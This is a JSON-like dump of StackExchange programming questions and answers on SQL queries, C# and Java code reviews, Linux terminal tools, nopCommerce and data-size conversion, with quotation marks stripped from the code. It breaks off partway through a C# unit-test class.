{  "id": "_softwareengineering.299278"  , "question": "This is all done in Microsoft Access 2007 and SQL Server. We are creating a way for our users to quickly make notes on a customer. These quick-notes will contain tags that will prompt the user for data based on that tag. The tags are to be limited to a few select options for the user to pick from. The tags will be coded as [TAG] in the database.A couple examples:Order refund[[OrderNumber]] - Was refunded When the user selects the above example, he/she would be prompted with a list of the currently selected customer's orders and a field to allow the user to input a specific order. When the user chooses the order, the quick note would look like:[123456] - Was refundedGeneral NoteEmailed receipt for order [[OrderNumber]] to email address: [emailAddress]Would look like:Emailed receipt for order [123456] to email address: Seymour@butts.comThe ProblemThe main issue is that each tag invokes a different action. An order number tag calls up a function that will extract the order number from a few columns in an order table. An email address tag will show all the current customer's email addresses or allow the user to put a different email into a field.Our Purposed SolutionWe though about putting the data into a table with the following format: NoteID    NoteTag       columnReference     tableReference       1  emailaddress      email address     emailAddTable  Now this table may be a quick way to grab the data, but it will be awkward for function calling, and a lot will still be handled programmatically.The QuestionsWhat is a clean and simple way to invoke particular calls to action in a program based on the tags in a quick note? A big loop checking for tags in a string and then calling the specific functions? "  , "title": "SQL Table With A Call To Action?"  , "tags": "database design;sql;sql server;microsoft access"  } 
{  "id": "_codereview.79256"  , "question": "I am taking Stanford's Introduction to Databases Self-Paced online course. I have gone through the videos in the SQL mini-course, and I am having trouble completing the exercises. The following is the question from the SQL Movie-Rating Query Exercises, Question 7:For each movie that has at least one rating, find the highest number  of stars that movie received. Return the movie title and number of  stars. Sort by movie title.The database can be found here. My answer to this question is as follows:SELECT distinct Movie.title, Rate.stars FROM Movie, Rating, (SELECT * FROM Rating R1 WHERE not exists (SELECT mID FROM Rating R2 WHERE R1.stars < R2.stars and R1.mID = R2.mID)) as Rate WHERE Movie.mID = Rate.mID and Rate.stars = Rating.starsorder by Movie.title; This seems like a very tortured query, and it seems to me like I am missing some important concepts. Can someone help me refactor this query?"  , "title": "Finding max rating for a movie"  , "tags": "sql;mysql"  , "accepted_answer": "SELECT distinct Movie.title, Rate.stars You should rarely use the DISTINCT keyword.  In this particular case it's unnecessary and may do the wrong thing.  What you want to do is to return the highest star rating for a given movie title:SELECT Movie.title, MAX(Rating.stars)There's the title and we use the MAX keyword to make sure that it's the highest stars.  More on when we can use MAX later.  FROM Movie, Rating, (SELECT * FROM Rating R1 WHERE not exists (SELECT mID FROM Rating R2 WHERE R1.stars < R2.stars and R1.mID = R2.mID)) as RateWHERE Movie.mID = Rate.mID and Rate.stars = Rating.starsWe can make this simpler:FROM Movie, RatingWHERE Movie.mID = Rating.mIDNo subselects required.  GROUP BY Movie.titleORDER BY Movie.title;The GROUP BY will allow us to use MAX.  It says to return only one row per Movie.title value.  The other columns need to be aggregated with grouping functions, like MAX.  You already had the ORDER BY clause and presumably it's correct.  "  } 
{  "id": "_softwareengineering.234548"  , "question": "After reading about the HashLife algorithm, I found that it runs in O(log n). The Game of Life is also Turing Complete, so in theory we should be able to run any algorithm on a computer constructed in GoL.As a consequence of HashLife's time complexity, could algorithms run faster? e.g. if an algorithm takes 10 seconds to run on a pc, could it run faster in HashLife on that same pc?An example: An algorithm running takes a 1000 instructions to run. A certain computer can process 1 instruction per second. So that algorithm takes a 1000 seconds to run.Now, if we take that same algorithm and run it on the computer in GoL. It would, because of HashLife being O(log n) take 3 seconds? (assuming O(logn))I'm probably overlooking something, since this would be a very important discovery, but I still thought I'd ask about it here."  , "title": "What are the consequences of Hash-Life running in O(log n)?"  , "tags": "complexity;turing completeness"  } 
{  "id": "_codereview.162242"  , "question": "This library [GitHub] helps merging partial WEB API JSON payload with existing prepopulated DTO objects. Let's say that JSON is represented by JObject from JSON.NET package. Nave implementation will probably get us to the following code for the optional string property mapping:var jToken = jObject[optionalScalar];if(jToken!= null)     dto.OptionalScalar = jToken.Value<string>();where required mapping would need throwing an exception:var jToken = jObject[requiredScalar ];if(jToken!= null)     dto.RequiredScalar = jToken.Value<string>();else     throw new MissingFieldException(requiredScalar);Collection mapping is even more verbose, as we need to instantiate/find necessary DTO for collection items and perform the same logic as above on their individual properties. JMap library allows to define this mapping declaratively and execute necessary requests to external data sources concurrently.Given the following example JSON loaded into the JObject job:{  id: 123,  title: tester,  company: {      name: Microsoft,      size: 50000,      industries: [         { id: 1 },         { id: 2 }      ]   },   types: [ Full-Time, Part-Time ],   locations: [      {         city: Vancouver,         country: Canada      }   ]}We could map it to the following DTO structure:public class DtoJob{    public int Id { get; set; }    public string Title { get; set; }    public DtoCompany Company { get; set; }    public IList<string> Types { get; set; }    public IList<DtoLocation> Locations { get; set; }}public class DtoCompany{    public string Name { get; set; }    public int Size { get; set; }    public IList<DtoIndustry> Industries { get; set; }}public class DtoLocation{    public string City { get; set; }    public string Country { get; set; }}public interface IIndustryReader{    DtoIndustry ReadIndustry(int id);    Task<DtoIndustry> ReadIndustryAsync(int id);}public class DtoIndustry{     ...}Using the following declaration:await job.MapAsync()  .RequiredAssert((int id) => id == dtoJob.Id)  .Optional((string title) => dtoJob.Title)  .Optional((JObject company) => dtoJob.Company, (company, dtoCompany) => company      .Optional((string name) => dtoCompany.Name)      .Optional((int size) => dtoCompany.Size)      .Optional((JObject[] industries) => dtoCompany.Industries, industry =>           IndustryReader.ReadIndustryAsync(industry.Id())))      .Optional((string[] types) => dtoJob.Types)      .Optional((JObject[] locations) => dtoJob.Locations, (location, dtoLocation) => location          .Required((string city) => dtoLocation.City)          .Required((string country) => dtoLocation.Country));Where lines like this:.RequiredAssert((int id) => id == dtoJob.Id)Represent a necessary condition to check, while.Optional((string title) => dtoJob.Title)Defines an automatic coercion between string in JSON to the data type of the dtoJob.Title property, while.Optional((JObject[] industries) => dtoCompany.Industries, industry =>     IndustryReader.ReadIndustryAsync(industry.Id())))Defines a conversion from JObject array to collection of some DTO objects loaded concurrently from the database and assigned to the dtoCompany.Industries property, while .Optional((JObject company) => dtoJob.Company, (company, dtoCompany) => company     .Optional((string name) => dtoCompany.Name)     .Optional((int size) => dtoCompany.Size)     .Optional((JObject[] industries) => dtoCompany.Industries, industry =>          IndustryReader.ReadIndustryAsync(industry.Id())))Defines a merge of JObject company field content to dtoJob.Company object, creating one if missing.As shown, there are the following permutations of mapping declarations:Optional/Required   Coercion/Conversion/Merge JSON type for pattern matching could be:a string, int, long, float, doable, bool, DateTime;their nullable counterparts;JObject;An array of above.What would you say about this way to declare mapping? "  , "title": "JObject Pattern Matching: Merging partial WEB API JSON payload"  , "tags": "c#;json;fluent interface;json.net;fluent assertions"  } 
{  "id": "_reverseengineering.3067"  , "question": "i have used iLSpy to decompile a .NET EXE file after the process is completed. i copied the content of xaml files from iLSpy one by one, saved the as unicode files and replaced the baml files in Visual studio project.With the binary files (baml) the program run perfectlyWith the new replaced xaml files there are many compiler errors.Where is the error exactly?Note: the errors are related to xaml design.all references are correct. "  , "title": "Help with baml to xaml conversion?"  , "tags": "decompilation"  } 
{  "id": "_codereview.10453"  , "question": "Not sure if this question will be considered off topic. If it is, I'll remove it, but:I hadn't see this yet so I wrote it and would like to know if this is a good approach to it. Would anyone care to offer improvements to it, or point me to an example of where someone else has already written it better?function clwAjaxCall(path,method,data,asynch)  {    var xmlhttp;    if (window.XMLHttpRequest)      {// code for IE7+, Firefox, Chrome, Opera, Safari      xmlhttp=new XMLHttpRequest();      }    else      {// code for IE6, IE5      xmlhttp=new ActiveXObject(Microsoft.XMLHTTP);      }        if(asynch)      {        xmlhttp.onreadystatechange=function()          {          if (xmlhttp.readyState==4 && xmlhttp.status==200)            {            //alert(xmlhttp.responseText);            //var newaction=xmlhttp.responseText;            //alert('Action becomes '+newaction);            return xmlhttp.responseText;            }          }              }    if(method=='GET'){path=path+/?+data;}      xmlhttp.open(method,path,asynch);    if(method=='GET'){xmlhttp.send();}else{xmlhttp.send(data);}    if (!asynch){return xmlhttp.responseText;}  }I then called it likeJust Testing<script type=text/javascript src=/mypath/js/clwAjaxCall.js></script><script type=text/javascript>  document.write(<br>More Testing);  document.write(clwAjaxCall(http://www.mysite.com,'GET',var=val,false));</script>UPDATEI don't know if it's any better to anyone else than it was before, but I like it. :-)I have re-written it like this:// I wrote this with help from StackOverflow and have twaeked it some since then.// call it like this:////        var holder={};//        holder.text='';//        watch(holder,function(){ //depends on watch.js. You might choose a different watch/observe method.//          //do stuff with holder.text in here//        });//        var path='http://www.example.com/?key=value';//        AjaxCall(path,get,null,true,holder);function AjaxCall(path,method,data,asynch,holder){    // holder is expected to be an object. It should be watched with watch.js, Object.observe or a similar method as they become available.    var xmlhttp;    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari      xmlhttp=new XMLHttpRequest();    }    else{// code for IE6, IE5      xmlhttp=new ActiveXObject(Microsoft.XMLHTTP);    }        if(asynch){      xmlhttp.onreadystatechange=function(){        if (xmlhttp.readyState==4 && xmlhttp.status==200){          holder.text=xmlhttp.responseText;        }      }            }    if(method=='GET'){path=path+/?+data;}      xmlhttp.open(method,path,asynch);    if(method=='GET'){xmlhttp.send();}else{xmlhttp.send(data);}    if (!asynch){return xmlhttp.responseText;}}"  , "title": "Generalized Ajax function"  , "tags": "javascript;ajax"  } 
{  "id": "_webapps.101847"  , "question": "I have an 1080p HD video edited on a computer that I'd like to upload to instagram. The issue is that on my first attempt, even though I selected landscape format instead of the square format, instagram re-compressed the video and it looks terrible.How can I avoid compression when uploading a 1080p video to instagram ?(So far I found this post about the issue - I couldn't find any recommended video settings (dimensions/frame rate/bit rate/etc.) on instagram help)"  , "title": "How to upload a high quality video to instagram?"  , "tags": "instagram"  , "accepted_answer": "You can upload within the below limits:Size: Maximum width: 1080 pixels (any height)Frame Rate: 29.96 frames per secondCodec: H.264 codec / MP4Bit-rate: 3,500 kbps video bitrateAudio: AAC audio codec at 44.1 kHz monoLength: 60 secondsFilesize: 15MBHope it helps"  } 
{  "id": "_unix.368469"  , "question": "Can we enable Networking in single user mode of Linux ? If Yes then how ?"  , "title": "Can we enable Networking in single user mode of Linux?"  , "tags": "rhel;runlevel"  } 
{  "id": "_softwareengineering.115979"  , "question": "I watched a Google Tech Talk presentation on Unit Testing, given by Misko Hevery, and he said to avoid using the new keyword in business logic code.I wrote a program, and I did end up using the new keyword here and there, but they were mostly for instantiating objects that hold data (ie, they didn't have any functions or methods).I'm wondering, did I do something wrong when I used the new keyword for my program. And where can we break that 'rule'?"  , "title": "When you should and should not use the 'new' keyword?"  , "tags": "testing;unit testing"  , "accepted_answer": "This is more guidance than hard-and-fast rule.By using new in your production code, you are coupling your class with its collaborators. If someone wants to use some other collaborator, for example some kind of mock collaborator for unit testing, they can't  because the collaborator is created in your business logic.Of course, someone needs to create these new objects, but this is often best left to one of two places: a dependency injection framework like Spring, or else in whichever class is instantiating your business logic class, injected through the constructor.Of course, you can take this too far. If you want to return a new ArrayList, then you are probably OK  especially if this is going to be an immutable List.The main question you should be asking yourself is is the main responsibility of this bit of code to create objects of this type, or is this just an implementation detail I could reasonably move somewhere else?"  } 
{  "id": "_unix.259685"  , "question": "I just bought a couple Dell R710s on Ebay for a home lab and want to install Debian as the main OS.  Im new to dealing with server administration aside from Development stuff.  I am wondering on where to install the OS since there is no internal drive but an internal USB.  Is this the proper way to install the main OS on the USB internally?  Im not planning on doing much with these but have some VMs for dev stuff and maybe camera storage.  Any advice would be great.Thanks"  , "title": "Dell R710 OS install"  , "tags": "linux;debian"  , "accepted_answer": "The proper approach would be to install a couple of SATA drives using drive caddies, then install the OS using mirroring. VMs and camera images tend to be time consuming to re-create so you don't want a dead hard drive killing your entire environment. You might be able to get hardware mirroring working depending on your specific hardware, but if you can't, software mirroring on Linux is quite reliable.Info on Debian with software mirroring: https://wiki.debian.org/DebianInstaller/SoftwareRaidRootOne example of a 3.5 drive caddy: http://www.amazon.com/Drive-Caddy-Server-SASTu-Replacement/dp/B00524SIQ2 [$12]It is technically possible to install on USB, but not a good idea for performance and reliability reasons."  } 
{  "id": "_codereview.104258"  , "question": "I've been given the following task:Given N rectangles with edges parallel to axis, calculate the area of the union of all rectangles. The input and output are files specified in program arguments. Input is represented by N lines with 4 numbers separated by spaces, defining 2 opposite vertices of the rectangle. Output file should contain 1 number - the resulting area of the rectangles' union.Additional constraints:   \\$1 \\le N \\le 100\\$\\$-10000 \\le x1\\$, \\$y1\\$, \\$x2\\$, \\$y2 \\le 10000\\$Memory consumption < 16 MBProgram parameters should be validatedInput file format should be validated.Examples:Input:1 1 7 7Output:36Input:1 1 3 3  2 2 4 4Output:7My solution:public class Main {    private List<Rectangle> rectangles = new ArrayList<>();    public static void main(String[] args) {        if (args.length != 2) {            throw new IllegalArgumentException(Invalid arguments number\\nProgram usage: java Main input output);        }        Main computer = new Main();        long area = computer.computeAreaFromFile(args[0]);        computer.writeAreaToFile(area, args[1]);    }    public long computeAreaFromFile(String inputFileName) {        rectangles.clear();        String line;        try (BufferedReader inputFileReader = new BufferedReader(new FileReader(inputFileName))) {            long area = 0;            while ((line = inputFileReader.readLine()) != null) {                Rectangle rectangle = Rectangle.fromString(line);                area += addRectangleArea(rectangle, false);            }            return area;        } catch (FileNotFoundException e) {            throw new IllegalArgumentException(Input file not found);        } catch (IOException e) {            throw new RuntimeException(e);        } catch (NumberFormatException | IndexOutOfBoundsException e) {            throw new IllegalArgumentException(Input file contains incorrect line);        }    }    private int addRectangleArea(Rectangle newRectangle, boolean isIntersection) {        int result = 0;        boolean hasIntersections = false;        for (Rectangle existingRectangle : rectangles) {            if (!existingRectangle.contains(newRectangle)) {                List<Rectangle> complements = existingRectangle.complementOf(newRectangle);                if (complements.size() > 0) {                    hasIntersections = true;                    for (Rectangle complement : complements) {                        result += addRectangleArea(complement, true);                    }                    break;                }            }        }        if (!hasIntersections) {            result += newRectangle.area();        }        if (!isIntersection) {            rectangles.add(newRectangle);        }        return result;    }    private void writeAreaToFile(long area, String outputFileName) {        try (BufferedWriter writer = new BufferedWriter(new FileWriter(outputFileName))) {            writer.write(String.valueOf(area));        } catch (IOException e) {            throw new RuntimeException(Could not open file  + outputFileName);        }    }}class Rectangle {    public final int x1;    public final int y1;    public final int x2;    public final int y2;    public static Rectangle fromString(String input) throws NumberFormatException, IndexOutOfBoundsException {        String[] splitInput = input.split( );        if (splitInput.length != 4) {            throw new IndexOutOfBoundsException();        }        return new Rectangle(Integer.valueOf(splitInput[0]),            Integer.valueOf(splitInput[1]),            Integer.valueOf(splitInput[2]),            Integer.valueOf(splitInput[3]));    }    public Rectangle(int x1, int y1, int x2, int y2) {        this.x1 = Math.min(x1, x2);        this.y1 = Math.min(y1, y2);        this.x2 = Math.max(x1, x2);        this.y2 = Math.max(y1, y2);    }    /**     * Finds a relative complement of the specified rectangle.     *     * @param rectangle rectangle to find a complement of.     * @return {@link List} of the rectangles forming the resulting complement.     */    public List<Rectangle> complementOf(Rectangle rectangle) {        List<Rectangle> intersections = new ArrayList<>();        if (rectangle.x2 > x1 && x2 > rectangle.x1 && rectangle.y2 > y1 && y2 > rectangle.y1) {            if (rectangle.y1 <= y1) {                intersections.add(new Rectangle(rectangle.x1, rectangle.y1, rectangle.x2, y1));            }            if (y2 <= rectangle.y2) {                intersections.add(new Rectangle(rectangle.x1, y2, rectangle.x2, rectangle.y2));            }            if (rectangle.x1 <= x1) {                intersections.add(new Rectangle(rectangle.x1, Math.max(y1, rectangle.y1), x1, Math.min(y2, rectangle.y2)));            }            if (x2 <= rectangle.x2) {                intersections.add(new Rectangle(x2, Math.max(y1, rectangle.y1), rectangle.x2, Math.min(y2, rectangle.y2)));            }        }        return intersections;    }    /**     * Calculates area of this rectangle.     *     * @return area of this rectangle.     */    public int area() {        return Math.abs((x1 - x2) * (y1 - y2));    }    /**     * Checks if this rectangle contains the specified rectangle.     *     * @param rectangle rectangle to check for.     * @return true if rectangle inside this, false otherwise.     */    public boolean contains(Rectangle rectangle) {        return x1 <= rectangle.x1 && rectangle.x2 <= x2 && y1 <= rectangle.y1 && rectangle.y2 <= y2;    }    @Override    public boolean equals(Object o) {        if (!(o instanceof Rectangle)) {            return false;        }        Rectangle other = (Rectangle) o;        return x1 == other.x1 && y1 == other.y1 && x2 == other.x2 && y2 == other.y2;    }    @Override    public int hashCode() {        int result = 17;        result = 37 * result + x1;        result = 37 * result + y1;        result = 37 * result + x2;        result = 37 * result + y2;        return result;    }    @Override    public String toString() {        return String.format(Rectangle with x1: %s y1: %s x2: %s y2: %s, x1, y1, x2, y2);    }}I have several questions/considerations:  Is the provided solution correct?I assume the complexity of this algorithm is \\$O(n^2)\\$. Can it be improved?I've overridden toString(), equals() and hashCode() methods, although I've never called them (except toString() while debugging). Is it bad practise to do so?I feel that comments in javadoc are lame. How can they be improved and are they necessary at all?computeAreaFromFile() does 2 things: it reads file content and performs actual calculations. I think this method should be split, however I'm not sure how I could do this."  , "title": "Calculate the area of rectangles union"  , "tags": "java;performance;algorithm;computational geometry"  } 
{  "id": "_unix.267361"  , "question": "Lots of programming-oriented editors will colorize source code. Is there a command that will colorize source code for viewing in the terminal? I could open a file with emacs -nw (which opens in the terminal instead of popping up a new window), but I'm looking for something that works like less (or that works with less -R, which passes through color escape sequences in its input)."  , "title": "Syntax highlighting in the terminal"  , "tags": "terminal;colors;syntax highlighting"  , "accepted_answer": "With highlight on a terminal that supports the same colour escape sequences as xterm:highlight -O xterm256 your-file | less -RWith ruby-rouge:rougify your-file | less -RWith python-pygments:pygmentize your-file | less -RWith GNU source-highlight:source-highlight -f esc256 -i your-file | less -RYou can also use vim as a pager with the help of macros/less.sh script shipped with vim (see :h less within vim for details):On my system:sh /usr/share/vim/vim74/macros/less.sh your-fileOr you could use any of the syntax highlighters that support HTML output and use elinks or w3m as the pager (or elinks -dump -dump-color-mode 3 | less -R) like with GNU source-highlight:source-highlight -o STDOUT -i your-file | elinks -dump -dump-color-mode 3 | less -R"  } 
{  "id": "_softwareengineering.212316"  , "question": "I am new to nopCommerce and ecommerce in general but I am involved in an ecommerce project. Now from my past experiences with RavenDB (which mostly were absolutely pleasant) and based on the needs of the business (fast changes with awkward business workflows) It seemed to be an appealing option to have RavenDB handling all sort of things related to the database. I do not understand design and architecture of nopCommerce fully so I did not reach to a conclusion on how to factor data parts, since it seems the services layer actually does not abstract data-layer concepts away; like bringing in EF working model to other layers.I have found another project which used NuDB as it's database as a nopCommerce fork. But it did not help because NuDB still has the feeling of a RDBMS and is not as different as RavenDB.Now first how can I learn about the internals of nopCommerce (other than investigating the code)? It's workflows? It's conventions?Second has anyone tried something similar before with a NoSQL database (say like MongoDB or RavenDB)? Is it possible to achieve this in a 1 (~2) month time frame?Thanks in advance;"  , "title": "How to factor out data layer in nopCommerce and replace MS SQL with RavenDB?"  , "tags": ".net;sql server;nosql;e commerce;ravendb"  , "accepted_answer": "I've tried both MongoDB and RavenDB for NopCommerce's DB. However, as Matt said, it's not a good idea. Here are some reasons:The shortest way is repository pattern, an anti-fan of RavenDB. It took me about 2 weeks.The search function of Nop is optimized for SQL. Raven can do it better and more beautiful, but you must change many methods of Nop. All paging and sorting functions will be rewritten. To change the data layer, you'll have to change a half of the business layer, too!"  } 
{  "id": "_cs.14163"  , "question": "Say you have n bottles. each with a ratio of $(a_i: b_i: c_i)$.($a_i/(a_i+b_i+c_i),\\cdots$ swap out the numerator for $b_i$ and $c_i$ respectively).Now you are given a ratio of $(a:b:c)$. Use Linear programming to find an efficient algorithm to this problem. If it's yes, you can output the parts of bottles that gave you the answer. (e.g. 2 parts from one bottle, 1 part from another bottles.)So it's not clear how to do this. One of my first thoughts was to make a variable $z = \\sum(\\alpha_i*(a_i,b_i,c_i)) - (a,b,c)$. This, I'm thinking could be the objective function we minimize. Not sure if this works. Or if it does, where to go from here. Also, I'm not sure if I can have the alphas in the thing I'm trying to minimize. What am I supposed to do with these alphas.Not sure what it means by algorithm either. That is, even if I could set up the problem as a linear problem, not sure what the algorithm would be."  , "title": "Linear Programming: algorithm to check if ratios can be combined with n bottles to equal a given ratio"  , "tags": "linear programming"  } 
{  "id": "_unix.198462"  , "question": "I have a data file I need to edit it is in the form:-8.915602898150751e-05-7.050591991128022e-05-4.361255125222242e-052.309505585477205e-05-2.223040239244275e-051.088544645124330e-011.000000000000000e-157.528375184423486e-062.558479420795495e-052.537280868441473e-04-5.119189471594489e-056.455268837875294e-054.463628820267331e-011.000000000000000e-15As you can the numbers have no spaces and I would like to edit the file in a very specific manner (I will be using it as an input file for simulation work). I would like the file to look like: -1.0000000000000001e-001  0.0000000000000000e+000  0.0000000000000000e+000  4.3052618410549812e+009  0.0000000000000000e+000  0.0000000000000000e+000  2.4853118072193338e-015  2.4106903033391415e-004  4.3586744793222273e-005  4.5561759893187341e-005 -4.0315591956328645e+007 -9.1758824977759705e+003 -2.5181138417225957e+004  2.4853118072193338e-015I have developed an algorithm to do such an edit and tried it in Notepad++ but, the programs adds invisible characters to the file which makes it invalid for my simulation. Here is the algorithm:find string -1. and replace with string  -1. (there is one space in front of the negative sign in the replacement)Repeat step 1 for numbers 2-9.find string 1. and replace with string   1. (there are two spaces in front of the 1 in the replacement)Repeat step 3 for numbers 2-9.find string -  1. and replace with -1. (there are two spaces between the negative sign and 1 in the find string)Repeat step 5 for numbers 2-9.I want to do this in a UNIX shell (I am using macbook terminal) as I believe this will not add invisible characters and corrupt my data. Any help guys? Thanks in advance!!!!!"  , "title": "Search and replacing strings in a numerical data file"  , "tags": "awk;grep;search"  } 
{  "id": "_codereview.140339"  , "question": "In a very specific application I have, I needed the ability to easily convert between different data sizes. I.e. when I give an input of 1,048,576KiB, I needed it to say 1GiB, etc.So, I built a struct for it.It's pretty robust, includes operations for subtraction, addition, multiplication and division, == and !=, IsSame etc.I'd like to think it might be useful for others as well.First bit is the struct:public struct DataSize{    public ulong SizeInBytes { get; }    public SizeScale Scale { get; }    public double Size => GetSize(Scale);    public DataSize(ulong sizeInBytes)    {        Scale = SizeScale.Bytes;        SizeInBytes = sizeInBytes;    }    public DataSize(ulong sizeInBytes, SizeScale scale)    {        Scale = scale;        SizeInBytes = sizeInBytes;    }    public DataSize(double size, SizeScale scale)    {        Scale = scale;        if (scale == SizeScale.Bits)        {            SizeInBytes = (uint)(size / 8);            return;        }        if (((int)scale & 0x03) == (int)SizeScale.Bytes)        {            SizeInBytes = (uint)(size * Math.Pow(10, 3 * (((int)scale & 0xFF00) >> 8)));            return;        }        SizeInBytes = (uint)(size * Math.Pow(2, 10 * (((int)scale & 0xFF00) >> 8)));    }    public double GetSize(SizeScale scale)    {        if (scale == SizeScale.Bits)        {            return SizeInBytes * 8.0;        }        if (((int)scale & 0x03) == (int)SizeScale.Bytes)        {            return SizeInBytes / Math.Pow(10, 3 * (((int)scale & 0xFF00) >> 8));        }        return SizeInBytes / Math.Pow(2, 10 * (((int)scale & 0xFF00) >> 8));    }    /// <summary>    /// Returns a <see cref=DataSize/> that is the highest value which will have a non-zero whole-number <see cref=Size/> component.    /// </summary>    /// <param name=scaleType>When set to <see cref=SizeScale.Bytes/> the result will be a <code>B</code> type, when set to <see cref=SizeScale.Bits/> the result will be a <code>iB</code> type. If set to <see cref=SizeScale.None/> the same base unit as the source value will be used.</param>    /// <returns>A <see cref=DataSize/> object.</returns>    public DataSize GetLargestWholeSize(SizeScale scaleType = SizeScale.None)    {        var limit = 1000ul;        if (scaleType == SizeScale.None)        {            scaleType = (SizeScale)((int)Scale & 0x00FF);        }        if (scaleType == SizeScale.Bits)        {            limit = 1024ul;        }        var iterations = 0;        var currSize = (double)SizeInBytes;        while (currSize >= limit)        {            currSize /= limit;            iterations++;        }        return new DataSize(currSize, (SizeScale)((iterations << 8) | ((int)scaleType & 0x00FF)));    }    /// <summary>    /// Returns a <see cref=DataSize/> that is the smallest value which will have a zero whole-number <see cref=Size/> component.    /// </summary>    /// <param name=scaleType>When set to <see cref=SizeScale.Bytes/> the result will be a <code>B</code> type, when set to <see cref=SizeScale.Bits/> the result will be a <code>iB</code> type. If set to <see cref=SizeScale.None/> the same base unit as the source value will be used.</param>    /// <returns>A <see cref=DataSize/> object.</returns>    public DataSize GetSmallestPartialSize(SizeScale scaleType = SizeScale.None)    {        var limit = 1000ul;        if (scaleType == SizeScale.None)        {            scaleType = (SizeScale)((int)Scale & 0x00FF);        }        if (scaleType == SizeScale.Bits)        {            limit = 1024ul;        }        var iterations = 0;        var currSize = (double)SizeInBytes;        while (currSize >= limit)        {            currSize /= limit;            iterations++;        }        iterations++;        return new DataSize(currSize, (SizeScale)((iterations << 8) | ((int)scaleType & 0x00FF)));    }    public override bool Equals(object obj) => obj is DataSize && (DataSize)obj == this;    public override int GetHashCode() => Size.GetHashCode();    public override string ToString() => ${Size} {Scale.Abbreviation()};    public string ToString(string numberFormat) => ${Size.ToString(numberFormat)} {Scale.Abbreviation()};    public string ToString(SizeScale scale) => ${GetSize(scale)} {scale.Abbreviation()};    public string ToString(string numberFormat, SizeScale scale) => ${GetSize(scale).ToString(numberFormat)} {scale.Abbreviation()};    public bool IsSame(DataSize comparison) => SizeInBytes == comparison.SizeInBytes && Scale == comparison.Scale;    public static bool IsSame(DataSize left, DataSize right) => left.SizeInBytes == right.SizeInBytes && left.Scale == right.Scale;    public static bool operator ==(DataSize left, DataSize right) => left.SizeInBytes == right.SizeInBytes;    public static bool operator !=(DataSize left, DataSize right) => left.SizeInBytes != right.SizeInBytes;    public static DataSize operator +(DataSize left, DataSize right) => new DataSize(left.SizeInBytes + right.SizeInBytes, left.Scale);    public static DataSize operator -(DataSize left, DataSize right) => new DataSize(left.SizeInBytes - right.SizeInBytes, left.Scale);    public static DataSize operator *(DataSize left, ulong right) => new DataSize(left.SizeInBytes * right, left.Scale);    public static DataSize operator /(DataSize left, ulong right) => new DataSize(left.SizeInBytes / right, left.Scale);    public static DataSize operator *(DataSize left, double right) => new DataSize((ulong)(left.SizeInBytes * right), left.Scale);    public static DataSize operator /(DataSize left, double right) => new DataSize((ulong)(left.SizeInBytes / right), left.Scale);}Next I have a SizeScale enum:public static class SizeScaleExtensions{    public static string Abbreviation(this SizeScale scale)    {        if (scale == SizeScale.None)        {            return null;        }        if (scale == SizeScale.Bytes)        {            return B;        }        if (scale == SizeScale.Bits)        {            return b;        }        var firstLetter = scale.ToString()[0] + ;        if (((int)scale & 0x00FF) == (int)SizeScale.Bits)        {            return firstLetter + iB;        }        return firstLetter + B;    }}public enum SizeScale : int{    None = 0x0000,    Bytes = 0x0001,    Bits = 0x0002,    Kilobytes = 0x0101,    Kibibytes = 0x0102,    Megabytes = 0x0201,    Mebibytes = 0x0202,    Gigabytes = 0x0301,    Gibibytes = 0x0302,    Terabytes = 0x0401,    Tibibytes = 0x0402,    Petabytes = 0x0501,    Pibibytes = 0x0502,    Exabytes = 0x0601,    Exbibytes = 0x0602,    Zettabyts = 0x0701,    Zebibytes = 0x0702,    Yottabytes = 0x0801,    Yobibytes = 0x0802,}Both the extensions and that enum declaration are in the same file, which means that the extension method is easily available.Lastly, I have some tests (I know I need a lot more):[TestClass]public class DataSizeTests{    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1_SizeScale_Bits()    {        var expected = 8.0;        var input = 1u;        var actual = new DataSize(input).GetSize(SizeScale.Bits);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1_SizeScale_Bytes()    {        var expected = 1.0;        var input = 1u;        var actual = new DataSize(input).GetSize(SizeScale.Bytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1000_SizeScale_Bytes()    {        var expected = 1000.0;        var input = 1000u;        var actual = new DataSize(input).GetSize(SizeScale.Bytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1024_SizeScale_Bytes()    {        var expected = 1024.0;        var input = 1024u;        var actual = new DataSize(input).GetSize(SizeScale.Bytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1000_SizeScale_Kilobytes()    {        var expected = 1.0;        var input = 1000u;        var actual = new DataSize(input).GetSize(SizeScale.Kilobytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1024_SizeScale_Kilobytes()    {        var expected = 1.024;        var input = 1024u;        var actual = new DataSize(input).GetSize(SizeScale.Kilobytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1000_SizeScale_Kibibytes()    {        var expected = 0.9765625;        var input = 1000u;        var actual = new DataSize(input).GetSize(SizeScale.Kibibytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1024_SizeScale_Kibibytes()    {        var expected = 1.0;        var input = 1024u;        var actual = new DataSize(input).GetSize(SizeScale.Kibibytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1000000000_SizeScale_Gigabytes()    {        var expected = 1.0;        var input = 1000000000u;        var actual = new DataSize(input).GetSize(SizeScale.Gigabytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1073741824_SizeScale_Gigabytes()    {        var expected = 1.073741824;        var input = 1073741824ul;        var actual = new DataSize(input).GetSize(SizeScale.Gigabytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1000000000_SizeScale_Gibibytes()    {        var expected = 0.931322574615478515625;        var input = 1000000000u;        var actual = new DataSize(input).GetSize(SizeScale.Gibibytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetSize_1073741824_SizeScale_Gibibytes()    {        var expected = 1.0;        var input = 1073741824ul;        var actual = new DataSize(input).GetSize(SizeScale.Gibibytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, 